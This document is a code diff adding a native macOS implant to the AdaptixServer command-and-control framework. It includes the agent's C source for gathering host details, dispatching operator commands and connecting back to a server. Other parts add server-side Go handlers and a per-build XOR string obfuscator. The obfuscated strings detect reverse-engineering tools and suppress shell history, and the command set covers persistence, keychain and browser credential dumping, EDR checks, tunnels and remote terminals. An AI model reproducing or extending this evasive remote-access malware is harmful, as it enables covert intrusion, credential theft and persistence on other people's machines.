+ if err != nil {
+ continue
+ }
+
+ task := taskData
+ task.TaskId = job.JobId
+ task.Completed = params.Finish
+
+ if params.Start {
+ task.Completed = false
+ task.Message = fmt.Sprintf("Process started: PID = %d", params.Pid)
+ task.ClearText = "\n"
+
+ } else if params.Finish {
+ task.Message = "Process finished"
+ task.ClearText = "\n"
+
+ } else {
+ task.Completed = false
+ task.Message = ""
+
+ if len(params.Stderr) > 0 {
+ task.MessageType = adaptix.MESSAGE_ERROR
+ task.Message = "Stderr:"
+ task.ClearText = params.Stderr
+ }
+ if len(params.Stdout) > 0 {
+ task.ClearText = params.Stdout
+ }
+ }
+
+ outTasks = append(outTasks, task)
+
+ case COMMAND_TUNNEL_START, COMMAND_TUNNEL_STOP, COMMAND_TUNNEL_PAUSE, COMMAND_TUNNEL_RESUME:
+ proxyTask := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_PROXY_DATA,
+ AgentId: agentData.Id,
+ Data: job.Data,
+ Sync: false,
+ }
+ outTasks = append(outTasks, proxyTask)
+
+ case COMMAND_TERMINAL_START, COMMAND_TERMINAL_STOP:
+ termTask := adaptix.TaskData{
+ Type: adaptix.TASK_TYPE_PROXY_DATA,
+ AgentId: agentData.Id,
+ Data: job.Data,
+ Sync: false,
+ }
+ outTasks = append(outTasks, termTask)
+ }
+ }
+ }
+
+ for _, task := range outTasks {
+ Ts.TsTaskUpdate(agentData.Id, task)
+ }
+
+ _ = job
+
+ return nil
+}
+
+// xorEncode XOR-encodes a plaintext string with the given key and returns
+// a Go byte literal string (e.g., "\x4a\x1b\x...").
+func xorEncode(plain string, key []byte) string {
+ var sb strings.Builder
+ kl := len(key)
+ for i := 0; i < len(plain); i++ {
+ sb.WriteString(fmt.Sprintf("\\x%02x", plain[i]^key[i%kl]))
+ }
+ return sb.String()
+}
+
+// generateObfuscatedStrings produces a Go source file that replaces hardcoded
+// sensitive strings with XOR-decoded equivalents. Each payload build gets a
+// unique random key, so the encoded bytes differ across payloads.
+func generateObfuscatedStrings(key []byte, buildNonce []byte) string {
+ // Strings to obfuscate — exported function name → plaintext
+ strs := map[string]string{
+ // opsec_darwin.go
+ "StrHwModel": "hw.model",
+ "StrKernBootargs": "kern.bootargs",
+ "StrAmfiBypass": "amfi_get_out_of_my_way",
+ "StrSandboxEnv": "APP_SANDBOX_CONTAINER_ID",
+ "StrHopper": "/Applications/Hopper Disassembler v4.app",
+ "StrIDA": "/Applications/IDA Pro.app",
+ "StrGhidra": "/Applications/Ghidra.app",
+ "StrCharles": "/Applications/Charles.app",
+ "StrProxyman": "/Applications/Proxyman.app",
+ "StrWireshark": "/Applications/Wireshark.app",
+ // functions_darwin.go
+ "StrSystemVersionPlist": "/System/Library/CoreServices/SystemVersion.plist",
+ "StrProductVersion": "ProductVersion",
+ "StrMacOS": "MacOS",
+ // PTY env vars
+ "StrHistfile": "HISTFILE=/dev/null",
+ "StrHistfilesize": "HISTFILESIZE=0",
+ "StrHistsize": "HISTSIZE=0",
+ "StrHistory": "HISTORY=",
+ "StrHistsave": "HISTSAVE=",
+ "StrHistzone": "HISTZONE=",
+ "StrHistlog": "HISTLOG=",
+ }
+
+ // Key literal
+ var keyLit strings.Builder
+ keyLit.WriteString("[]byte{")
+ for i, b := range key {
+ if i > 0 {
+ keyLit.WriteString(", ")
+ }
+ keyLit.WriteString(fmt.Sprintf("0x%02x", b))
+ }
+ keyLit.WriteString("}")
+
+ // Generate source
+ var src strings.Builder
+ src.WriteString("package utils\n\n")
+ src.WriteString("// AUTO-GENERATED — per-payload XOR-obfuscated strings.\n")
+ src.WriteString("// Do not edit. Regenerated on each build.\n\n")
+ src.WriteString(fmt.Sprintf("var xorKey = %s\n\n", keyLit.String()))
+
+ // Build nonce — ensures unique binary hash per payload even with identical config
+ var nonceLit strings.Builder
+ nonceLit.WriteString("[]byte{")
+ for i, b := range buildNonce {
+ if i > 0 {
+ nonceLit.WriteString(", ")
+ }
+ nonceLit.WriteString(fmt.Sprintf("0x%02x", b))
+ }
+ nonceLit.WriteString("}")
+ src.WriteString(fmt.Sprintf("var _ = %s // build nonce\n\n", nonceLit.String()))
+
+ // Generate accessor functions
+ for name, plain := range strs {
+ encoded := xorEncode(plain, key)
+ src.WriteString(fmt.Sprintf("func %s() string { return Xor([]byte(\"%s\"), xorKey) }\n", name, encoded))
+ }
+
+ return src.String()
+}
diff --git a/AdaptixServer/extenders/macos_agent/pl_utils.go b/AdaptixServer/extenders/macos_agent/pl_utils.go
new file mode 100644
index 000000000..8abb0d3d5
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/pl_utils.go
@@ -0,0 +1,418 @@
+package main
+
+import (
+ "archive/zip"
+ "bytes"
+ "fmt"
+ "io"
+ "regexp"
+ "strconv"
+)
+
+/// Protocol types — msgpack structs for agent communication
+/// These are COPIED from gopher_agent, not shared.
+/// Any macOS-specific additions go here without affecting gopher.
+
+type Profile struct {
+ Type uint `msgpack:"type"`
+ Addresses []string `msgpack:"addresses"`
+ BannerSize int `msgpack:"banner_size"`
+ ConnTimeout int `msgpack:"conn_timeout"`
+ ConnCount int `msgpack:"conn_count"`
+ UseSSL bool `msgpack:"use_ssl"`
+ SslCert []byte `msgpack:"ssl_cert"`
+ SslKey []byte `msgpack:"ssl_key"`
+ CaCert []byte `msgpack:"ca_cert"`
+}
+
+type SessionInfo struct {
+ Process string `msgpack:"process"`
+ PID int `msgpack:"pid"`
+ User string `msgpack:"user"`
+ Host string `msgpack:"host"`
+ Ipaddr string `msgpack:"ipaddr"`
+ Elevated bool `msgpack:"elevated"`
+ Acp uint32 `msgpack:"acp"`
+ Oem uint32 `msgpack:"oem"`
+ Os string `msgpack:"os"`
+ OSVersion string `msgpack:"os_version"`
+ EncryptKey []byte `msgpack:"encrypt_key"`
+}
+
+/// Message types
+
+type Message struct {
+ Type int8 `msgpack:"type"`
+ Object [][]byte `msgpack:"object"`
+}
+
+type Command struct {
+ Code uint `msgpack:"code"`
+ Id uint `msgpack:"id"`
+ Data []byte `msgpack:"data"`
+}
+
+type Job struct {
+ CommandId uint `msgpack:"command_id"`
+ JobId string `msgpack:"job_id"`
+ Data []byte `msgpack:"data"`
+}
+
+/// Answer / Params structs
+
+type AnsError struct {
+ Error string `msgpack:"error"`
+}
+
+type AnsPwd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCd struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsShell struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+}
+
+type AnsShell struct {
+ Output string `msgpack:"output"`
+}
+
+type ParamsDownload struct {
+ Task string `msgpack:"task"`
+ Path string `msgpack:"path"`
+}
+
+type AnsDownload struct {
+ FileId int `msgpack:"id"`
+ Path string `msgpack:"path"`
+ Size int `msgpack:"size"`
+ Content []byte `msgpack:"content"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+ Canceled bool `msgpack:"canceled"`
+}
+
+type ParamsUpload struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+ Finish bool `msgpack:"finish"`
+}
+
+type AnsUpload struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsCat struct {
+ Path string `msgpack:"path"`
+}
+
+type AnsCat struct {
+ Path string `msgpack:"path"`
+ Content []byte `msgpack:"content"`
+}
+
+type ParamsCp struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMv struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type ParamsMkdir struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsRm struct {
+ Path string `msgpack:"path"`
+}
+
+type ParamsLs struct {
+ Path string `msgpack:"path"`
+}
+
+type FileInfo struct {
+ Mode string `msgpack:"mode"`
+ Nlink int `msgpack:"nlink"`
+ User string `msgpack:"user"`
+ Group string `msgpack:"group"`
+ Size int64 `msgpack:"size"`
+ Date string `msgpack:"date"`
+ Filename string `msgpack:"filename"`
+ IsDir bool `msgpack:"is_dir"`
+}
+
+type AnsLs struct {
+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Path string `msgpack:"path"`
+ Files []byte `msgpack:"files"`
+}
+
+type PsInfo struct {
+ Pid int `msgpack:"pid"`
+ Ppid int `msgpack:"ppid"`
+ Tty string `msgpack:"tty"`
+ Context string `msgpack:"context"`
+ Process string `msgpack:"process"`
+}
+
+type AnsPs struct {
+ Result bool `msgpack:"result"`
+ Status string `msgpack:"status"`
+ Processes []byte `msgpack:"processes"`
+}
+
+type ParamsKill struct {
+ Pid int `msgpack:"pid"`
+}
+
+type ParamsZip struct {
+ Src string `msgpack:"src"`
+ Dst string `msgpack:"dst"`
+}
+
+type AnsZip struct {
+ Path string `msgpack:"path"`
+}
+
+type AnsScreenshots struct {
+ Screens [][]byte `msgpack:"screens"`
+}
+
+type ParamsRun struct {
+ Program string `msgpack:"program"`
+ Args []string `msgpack:"args"`
+ Task string `msgpack:"task"`
+}
+
+type AnsRun struct {
+ Stdout string `msgpack:"stdout"`
+ Stderr string `msgpack:"stderr"`
+ Pid int `msgpack:"pid"`
+ Start bool `msgpack:"start"`
+ Finish bool `msgpack:"finish"`
+}
+
+type JobInfo struct {
+ JobId string `msgpack:"job_id"`
+ JobType int `msgpack:"job_type"`
+}
+
+type AnsJobList struct {
+ List []byte `msgpack:"list"`
+}
+
+type ParamsJobKill struct {
+ Id string `msgpack:"id"`
+}
+
+type ParamsTunnelStart struct {
+ Proto string `msgpack:"proto"`
+ ChannelId int `msgpack:"channel_id"`
+ Address string `msgpack:"address"`
+}
+
+type ParamsTunnelStop struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTunnelPause struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTunnelResume struct {
+ ChannelId int `msgpack:"channel_id"`
+}
+
+type ParamsTerminalStart struct {
+ TermId int `msgpack:"term_id"`
+ Program string `msgpack:"program"`
+ Height int `msgpack:"height"`
+ Width int `msgpack:"width"`
+}
+
+type ParamsTerminalStop struct {
+ TermId int `msgpack:"term_id"`
+}
+
+/// Phase 4 — Persistence & Post-exploitation types
+
+type ParamsPersist struct {
+ Action string `msgpack:"action"`
+ Method string `msgpack:"method"`
+ Name string `msgpack:"name"`
+}
+
+type AnsPersist struct {
+ Output string `msgpack:"output"`
+}
+
+type ParamsDefaults struct {
+ Domain string `msgpack:"domain"`
+}
+
+type ParamsKeychain struct {
+ Action string `msgpack:"action"`
+}
+
+type ParamsBrowserDump struct {
+ Browser string `msgpack:"browser"`
+ Target string `msgpack:"target"`
+}
+
+/// Command codes — must match agent-side defines
+
+const (
+ COMMAND_ERROR = 0
+ COMMAND_PWD = 1
+ COMMAND_CD = 2
+ COMMAND_SHELL = 3
+ COMMAND_EXIT = 4
+ COMMAND_DOWNLOAD = 5
+ COMMAND_UPLOAD = 6
+ COMMAND_CAT = 7
+ COMMAND_CP = 8
+ COMMAND_MV = 9
+ COMMAND_MKDIR = 10
+ COMMAND_RM = 11
+ COMMAND_LS = 12
+ COMMAND_PS = 13
+ COMMAND_KILL = 14
+ COMMAND_ZIP = 15
+ COMMAND_SCREENSHOT = 16
+ COMMAND_RUN = 17
+ COMMAND_JOB_LIST = 18
+ COMMAND_JOB_KILL = 19
+
+ // macOS-specific commands (slots 21-30)
+ COMMAND_CLIPBOARD = 21
+ COMMAND_PERSIST = 22
+ COMMAND_TCC_CHECK = 23
+ COMMAND_DEFAULTS = 24
+ COMMAND_EDR_CHECK = 25
+ COMMAND_KEYCHAIN = 26
+ COMMAND_BROWSER_DUMP = 27
+
+ COMMAND_TUNNEL_START = 31
+ COMMAND_TUNNEL_STOP = 32
+ COMMAND_TUNNEL_PAUSE = 33
+ COMMAND_TUNNEL_RESUME = 34
+
+ COMMAND_TERMINAL_START = 35
+ COMMAND_TERMINAL_STOP = 36
+
+ CALLBACK_OUTPUT = 0x0
+ CALLBACK_OUTPUT_OEM = 0x1e
+ CALLBACK_OUTPUT_UTF8 = 0x20
+ CALLBACK_ERROR = 0x0d
+ CALLBACK_CUSTOM = 0x1000
+ CALLBACK_CUSTOM_LAST = 0x13ff
+
+ CALLBACK_AX_SCREENSHOT = 0x81
+ CALLBACK_AX_DOWNLOAD_MEM = 0x82
+)
+
+/// Utility functions
+
+func parseDurationToSeconds(input string) (int, error) {
+ re := regexp.MustCompile(`(\d+)(h|m|s)`)
+ matches := re.FindAllStringSubmatch(input, -1)
+
+ if matches == nil {
+ input = input + "s"
+ matches = re.FindAllStringSubmatch(input, -1)
+ }
+
+ totalSeconds := 0
+ for _, match := range matches {
+ value, err := strconv.Atoi(match[1])
+ if err != nil {
+ return 0, err
+ }
+
+ switch match[2] {
+ case "h":
+ totalSeconds += value * 3600
+ case "m":
+ totalSeconds += value * 60
+ case "s":
+ totalSeconds += value
+ }
+ }
+
+ return totalSeconds, nil
+}
+
+func ZipBytes(data []byte, name string) ([]byte, error) {
+ var buf bytes.Buffer
+ zipWriter := zip.NewWriter(&buf)
+
+ writer, err := zipWriter.Create(name)
+ if err != nil {
+ return nil, err
+ }
+
+ _, err = writer.Write(data)
+ if err != nil {
+ return nil, err
+ }
+
+ err = zipWriter.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ return buf.Bytes(), nil
+}
+
+func UnzipBytes(zipData []byte) (map[string][]byte, error) {
+ result := make(map[string][]byte)
+ reader := bytes.NewReader(zipData)
+
+ zipReader, err := zip.NewReader(reader, int64(len(zipData)))
+ if err != nil {
+ return nil, err
+ }
+
+ for _, file := range zipReader.File {
+ rc, err := file.Open()
+ if err != nil {
+ return nil, err
+ }
+
+ var buf bytes.Buffer
+ _, err = io.Copy(&buf, rc)
+ rc.Close()
+ if err != nil {
+ return nil, err
+ }
+
+ result[file.Name] = buf.Bytes()
+ }
+
+ return result, nil
+}
+
+func SizeBytesToFormat(bytes int64) string {
+ const (
+ KB = 1024.0
+ MB = KB * 1024
+ GB = MB * 1024
+ )
+
+ size := float64(bytes)
+
+ if size >= GB {
+ return fmt.Sprintf("%.2f Gb", size/GB)
+ } else if size >= MB {
+ return fmt.Sprintf("%.2f Mb", size/MB)
+ }
+ return fmt.Sprintf("%.2f Kb", size/KB)
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/Makefile b/AdaptixServer/extenders/macos_agent/src_agent/Makefile
new file mode 100644
index 000000000..ff1d6cd2f
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/Makefile
@@ -0,0 +1,44 @@
+# macOS Agent (Native C) — Development Makefile
+# For manual testing / validation. Production builds use pl_main.go.
+
+CC = aarch64-apple-darwin23.5-clang
+CFLAGS = -Os -fno-stack-protector -Wall -Wextra -Wno-unused-parameter -Wno-unused-function
+LDFLAGS = -lSystem -framework CoreFoundation
+SRCDIR = agent
+OBJDIR = obj
+
+SOURCES = $(SRCDIR)/main.c \
+ $(SRCDIR)/crt.c \
+ $(SRCDIR)/msgpack.c \
+ $(SRCDIR)/crypt.c \
+ $(SRCDIR)/connector.c \
+ $(SRCDIR)/agent_info.c \
+ $(SRCDIR)/commander.c \
+ $(SRCDIR)/tasks_fs.c \
+ $(SRCDIR)/tasks_proc.c \
+ $(SRCDIR)/tasks_macos.c \
+ $(SRCDIR)/jobs.c \
+ $(SRCDIR)/tasks_async.c \
+ $(SRCDIR)/tasks_net.c \
+ $(SRCDIR)/dyld_resolve.c \
+ $(SRCDIR)/opsec.c
+
+OBJECTS = $(SOURCES:$(SRCDIR)/%.c=$(OBJDIR)/%.o)
+TARGET = agent_macos
+
+.PHONY: all clean
+
+all: $(TARGET)
+
+$(OBJDIR)/%.o: $(SRCDIR)/%.c | $(OBJDIR)
+ $(CC) $(CFLAGS) -I$(SRCDIR) -c $< -o $@
+
+$(TARGET): $(OBJECTS)
+ $(CC) $(LDFLAGS) -o $@ $(OBJECTS)
+ @echo "Built: $@ ($$(ls -la $@ | awk '{print $$5}') bytes)"
+
+$(OBJDIR):
+ mkdir -p $(OBJDIR)
+
+clean:
+ rm -rf $(OBJDIR) $(TARGET)
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c
new file mode 100644
index 000000000..229f597a4
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.c
@@ -0,0 +1,141 @@
+#include "agent_info.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+#include "strings_obf.h"
+
+#include
+#include
+#include
+#include
+#include
+#include
+#include
+
+// Get OS version from SystemVersion.plist (same as Go agent)
+static void get_os_version(char* buf, size_t buf_size) {
+ // Read SystemVersion.plist and extract ProductVersion value
+ DEOBF(sysver_path, OBF_SYSVER_PLIST);
+ int fd = R_open(sysver_path, 0 /* O_RDONLY */, 0);
+ ZERO_STR(sysver_path, OBF_SYSVER_PLIST);
+ if (fd < 0) {
+ ax_strncpy(buf, "unknown", buf_size);
+ return;
+ }
+
+ char plist[4096];
+ ssize_t n = R_read(fd, plist, sizeof(plist) - 1);
+ R_close(fd);
+ if (n <= 0) {
+ ax_strncpy(buf, "unknown", buf_size);
+ return;
+ }
+ plist[n] = '\0';
+
+ // Find ProductVersionXX.X.X
+ const char* key = ax_strstr(plist, "ProductVersion");
+ if (!key) { ax_strncpy(buf, "unknown", buf_size); return; }
+ const char* sopen = ax_strstr(key, "");
+ if (!sopen) { ax_strncpy(buf, "unknown", buf_size); return; }
+ sopen += 8; // skip ""
+ const char* sclose = ax_strstr(sopen, "");
+ if (!sclose) { ax_strncpy(buf, "unknown", buf_size); return; }
+
+ size_t vlen = (size_t)(sclose - sopen);
+ if (vlen >= buf_size) vlen = buf_size - 1;
+ ax_memcpy(buf, sopen, vlen);
+ buf[vlen] = '\0';
+}
+
+// Get primary IPv4 address (non-loopback, non-link-local)
+static void get_primary_ip(char* buf, size_t buf_size) {
+ buf[0] = '\0';
+ struct ifaddrs* ifaddr;
+ if (R_getifaddrs(&ifaddr) != 0) return;
+
+ for (struct ifaddrs* ifa = ifaddr; ifa; ifa = ifa->ifa_next) {
+ if (!ifa->ifa_addr) continue;
+ if (ifa->ifa_addr->sa_family != AF_INET) continue;
+
+ struct sockaddr_in* sa = (struct sockaddr_in*)ifa->ifa_addr;
+ uint32_t addr = sa->sin_addr.s_addr;
+
+ // Skip loopback (127.x.x.x)
+ if ((addr & 0xFF) == 127) continue;
+ // Skip link-local (169.254.x.x)
+ if ((addr & 0xFFFF) == 0xFEA9) continue;
+
+ R_inet_ntop(AF_INET, &sa->sin_addr, buf, (socklen_t)buf_size);
+ }
+
+ R_freeifaddrs(ifaddr);
+}
+
+int create_session_info(mp_writer_t* w, uint8_t* session_key) {
+ // Generate random session key (16 bytes for AES-128)
+ if (ax_random_bytes(session_key, 16) != 0) return -1;
+
+ // Gather system information
+ char hostname[256] = {0};
+ R_gethostname(hostname, sizeof(hostname));
+
+ char username[256] = {0};
+ struct passwd* pw = (struct passwd*)R_getpwuid(R_getuid());
+ if (pw && pw->pw_name) {
+ ax_strncpy(username, pw->pw_name, sizeof(username) - 1);
+ }
+
+ char process[1024] = {0};
+ {
+ // Use sysctl(KERN_PROCARGS2) instead of _NSGetExecutablePath
+ // to avoid direct dyld import (OPSEC: reduces IAT surface)
+ int mib[3] = {CTL_KERN, KERN_PROCARGS2, (int)R_getpid()};
+ size_t sz = 0;
+ R_sysctl(mib, 3, (void*)0, &sz, (void*)0, 0);
+ if (sz > 0 && sz < 65536) {
+ uint8_t* data = (uint8_t*)ax_malloc(sz);
+ if (R_sysctl(mib, 3, data, &sz, (void*)0, 0) == 0 && sz > sizeof(int)) {
+ // Layout: [argc:4B][exec_path\0][args...]
+ const char* path = (const char*)(data + sizeof(int));
+ // Extract basename
+ const char* last = path;
+ for (const char* p = path; *p; p++) {
+ if (*p == '/') last = p + 1;
+ }
+ ax_strncpy(process, last, sizeof(process) - 1);
+ } else {
+ ax_strcpy(process, "unknown");
+ }
+ ax_free(data, sz);
+ } else {
+ ax_strcpy(process, "unknown");
+ }
+ }
+
+ char ip[64] = {0};
+ get_primary_ip(ip, sizeof(ip));
+
+ char os_version[64] = {0};
+ get_os_version(os_version, sizeof(os_version));
+
+ int pid = (int)R_getpid();
+ int elevated = (R_geteuid() == 0) ? 1 : 0;
+
+ // Write SessionInfo as msgpack map
+ // vmihailenco/msgpack v5 serializes in DECLARATION order (not alphabetical)
+ // Go struct order: process, pid, user, host, ipaddr, elevated, acp, oem, os, os_version, encrypt_key
+ mp_write_map(w, 11);
+
+ mp_write_kv_str(w, "process", process);
+ mp_write_kv_int(w, "pid", pid);
+ mp_write_kv_str(w, "user", username);
+ mp_write_kv_str(w, "host", hostname);
+ mp_write_kv_str(w, "ipaddr", ip);
+ mp_write_kv_bool(w, "elevated", elevated);
+ mp_write_kv_uint(w, "acp", 65001); // UTF-8 code page
+ mp_write_kv_uint(w, "oem", 65001);
+ mp_write_kv_str(w, "os", "darwin");
+ mp_write_kv_str(w, "os_version", os_version);
+ mp_write_kv_bin(w, "encrypt_key", session_key, 16);
+
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h
new file mode 100644
index 000000000..8a863c803
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/agent_info.h
@@ -0,0 +1,15 @@
+#ifndef AGENT_INFO_H
+#define AGENT_INFO_H
+
+#include "msgpack.h"
+
+/// Build SessionInfo msgpack payload matching Go's utils.SessionInfo struct
+/// Also generates a random 16-byte session encryption key
+///
+/// msgpack keys (alphabetical order, matching Go vmihailenco/msgpack):
+/// acp, elevated, encrypt_key, host, ipaddr, oem, os, os_version, pid, process, user
+///
+/// Returns 0 on success, fills session_key (16 bytes)
+int create_session_info(mp_writer_t* w, uint8_t* session_key);
+
+#endif // AGENT_INFO_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c
new file mode 100644
index 000000000..0dac11772
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.c
@@ -0,0 +1,114 @@
+#include "commander.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+#include "tasks_fs.h"
+#include "tasks_proc.h"
+#include "tasks_macos.h"
+#include "tasks_async.h"
+#include "tasks_net.h"
+
+static int task_pwd(mp_writer_t* w);
+static int task_error(mp_writer_t* w, const char* msg);
+
+int handle_command(uint32_t code, uint32_t cmd_id,
+ const uint8_t* data, uint32_t data_len,
+ mp_writer_t* response) {
+ (void)cmd_id;
+
+ switch (code) {
+ // ── Filesystem commands ──
+ case COMMAND_PWD:
+ return task_pwd(response);
+ case COMMAND_CD:
+ return task_cd(data, data_len, response);
+ case COMMAND_CAT:
+ return task_cat(data, data_len, response);
+ case COMMAND_LS:
+ return task_ls(data, data_len, response);
+ case COMMAND_CP:
+ return task_cp(data, data_len, response);
+ case COMMAND_MV:
+ return task_mv(data, data_len, response);
+ case COMMAND_MKDIR:
+ return task_mkdir(data, data_len, response);
+ case COMMAND_RM:
+ return task_rm(data, data_len, response);
+ case COMMAND_ZIP:
+ return task_zip(data, data_len, response);
+
+ // ── Process commands ──
+ case COMMAND_PS:
+ return task_ps(response);
+ case COMMAND_KILL:
+ return task_kill(data, data_len, response);
+ case COMMAND_SHELL:
+ return task_shell(data, data_len, response);
+
+ // ── macOS-specific commands ──
+ case COMMAND_SCREENSHOT:
+ return task_screenshot(response);
+ case COMMAND_CLIPBOARD:
+ return task_clipboard(response);
+ case COMMAND_PERSIST:
+ return task_persist(data, data_len, response);
+ case COMMAND_TCC_CHECK:
+ return task_tcc_check(response);
+ case COMMAND_DEFAULTS:
+ return task_defaults_read(data, data_len, response);
+ case COMMAND_EDR_CHECK:
+ return task_edr_check(response);
+ case COMMAND_KEYCHAIN:
+ return task_keychain(data, data_len, response);
+ case COMMAND_BROWSER_DUMP:
+ return task_browser_dump(data, data_len, response);
+
+ // ── Control ──
+ case COMMAND_EXIT:
+ return -99;
+
+ // ── Async/Job commands ──
+ case COMMAND_DOWNLOAD:
+ return task_download(data, data_len, response);
+ case COMMAND_UPLOAD:
+ return task_upload(data, data_len, response);
+ case COMMAND_RUN:
+ return task_run(data, data_len, response);
+ case COMMAND_JOB_LIST:
+ return task_job_list(response);
+ case COMMAND_JOB_KILL:
+ return task_job_kill(data, data_len, response);
+
+ // ── Network commands ──
+ case COMMAND_TUNNEL_START:
+ return task_tunnel_start(data, data_len, response);
+ case COMMAND_TUNNEL_STOP:
+ return task_tunnel_stop(data, data_len, response);
+ case COMMAND_TUNNEL_PAUSE:
+ return task_tunnel_pause(data, data_len, response);
+ case COMMAND_TUNNEL_RESUME:
+ return task_tunnel_resume(data, data_len, response);
+ case COMMAND_TERMINAL_START:
+ return task_terminal_start(data, data_len, response);
+ case COMMAND_TERMINAL_STOP:
+ return task_terminal_stop(data, data_len, response);
+
+ default:
+ return task_error(response, "Unknown command");
+ }
+}
+
+static int task_pwd(mp_writer_t* w) {
+ char cwd[4096];
+ if (R_getcwd(cwd, sizeof(cwd)) == (char*)0) {
+ return task_error(w, "getcwd failed");
+ }
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "path", cwd);
+ return 0;
+}
+
+static int task_error(mp_writer_t* w, const char* msg) {
+ mp_write_map(w, 1);
+ mp_write_kv_str(w, "error", msg);
+ return 0;
+}
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h
new file mode 100644
index 000000000..8e12fcada
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/commander.h
@@ -0,0 +1,27 @@
+#ifndef COMMANDER_H
+#define COMMANDER_H
+
+#include "types.h"
+#include "msgpack.h"
+
+/// Process a list of commands received from the server
+/// Input: array of msgpack-encoded Command structs
+/// Output: array of msgpack-encoded response buffers
+///
+/// Each Command has: {code: uint, id: uint, data: []byte}
+/// Response format depends on the command code
+
+// Process all commands from inMessage.Object
+// Returns msgpack-encoded array of response buffers
+// Caller must free the returned buffer
+int process_commands(const uint8_t** commands, uint32_t* cmd_sizes,
+ uint32_t cmd_count,
+ buffer_t* out_responses, uint32_t* out_count);
+
+// Process a single command, write response to writer
+// Returns 0 on success
+int handle_command(uint32_t code, uint32_t cmd_id,
+ const uint8_t* data, uint32_t data_len,
+ mp_writer_t* response);
+
+#endif // COMMANDER_H
diff --git a/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c
new file mode 100644
index 000000000..ef303eac6
--- /dev/null
+++ b/AdaptixServer/extenders/macos_agent/src_agent/agent/connector.c
@@ -0,0 +1,158 @@
+#include "connector.h"
+#include "crt.h"
+#include "dyld_resolve.h"
+
+#include
+#include
+#include
+#include
+#include
+
+// Parse "host:port" string
+static int parse_address(const char* address, char* host, size_t host_len, uint16_t* port) {
+ const char* colon = (const char*)0;
+ // Find last colon (handles IPv6 in brackets)
+ for (const char* p = address; *p; p++) {
+ if (*p == ':') colon = p;
+ }
+ if (!colon) return -1;
+
+ size_t hlen = (size_t)(colon - address);
+ if (hlen >= host_len) return -1;
+
+ ax_memcpy(host, address, hlen);
+ host[hlen] = '\0';
+
+ // Parse port
+ *port = 0;
+ const char* p = colon + 1;
+ while (*p >= '0' && *p <= '9') {
+ *port = *port * 10 + (*p - '0');
+ p++;
+ }
+ if (*port == 0) return -1;
+
+ return 0;
+}
+
+int conn_open(connector_t* c, const char* address) {
+ char host[256];
+ uint16_t port;
+
+ if (parse_address(address, host, sizeof(host), &port) != 0)
+ return -1;
+
+ // Resolve hostname
+ struct addrinfo hints, *result;
+ ax_memset(&hints, 0, sizeof(hints));
+ hints.ai_family = AF_INET; // IPv4
+ hints.ai_socktype = SOCK_STREAM; // TCP
+
+ char port_str[8];
+ ax_itoa(port, port_str, 10);
+
+ if (R_getaddrinfo(host, port_str, &hints, &result) != 0)
+ return -1;
+
+ // Create socket
+ c->fd = R_socket(result->ai_family, result->ai_socktype, result->ai_protocol);
+ if (c->fd < 0) {
+ R_freeaddrinfo(result);
+ return -1;
+ }
+
+ // Connect
+ if (R_connect(c->fd, result->ai_addr, result->ai_addrlen) != 0) {
+ R_close(c->fd);
+ c->fd = -1;
+ R_freeaddrinfo(result);
+ return -1;
+ }
+
+ R_freeaddrinfo(result);
+ return 0;
+}
+
+void conn_close(connector_t* c) {
+ if (c->fd >= 0) {
+ R_close(c->fd);
+ c->fd = -1;
+ }
+}
+
+int conn_read_exact(connector_t* c, uint8_t* buf, size_t size) {
+ size_t total = 0;
+ while (total < size) {
+ ssize_t n = R_read(c->fd, buf + total, size - total);
+ if (n <= 0) return -1;
+ total += (size_t)n;
+ }
+ return 0;
+}
+
+int conn_recv_msg(connector_t* c, uint8_t** data, size_t* len) {
+ // Read 4-byte big-endian length
+ uint8_t len_buf[4];
+ if (conn_read_exact(c, len_buf, 4) != 0) return -1;
+
+ uint32_t msg_len = ((uint32_t)len_buf[0] << 24) | ((uint32_t)len_buf[1] << 16) |
+ ((uint32_t)len_buf[2] << 8) | len_buf[3];
+
+ if (msg_len == 0) {
+ *data = (uint8_t*)0;
+ *len = 0;
+ return 0;
+ }
+
+ // Sanity check: max 64MB
+ if (msg_len > 64 * 1024 * 1024) return -1;
+
+ *data = (uint8_t*)ax_malloc(msg_len);
+ if (!*data) return -1;
+
+ if (conn_read_exact(c, *data, msg_len) != 0) {
+ ax_free(*data, msg_len);
+ *data = (uint8_t*)0;
+ return -1;
+ }
+
+ *len = msg_len;
+ return 0;
+}
+
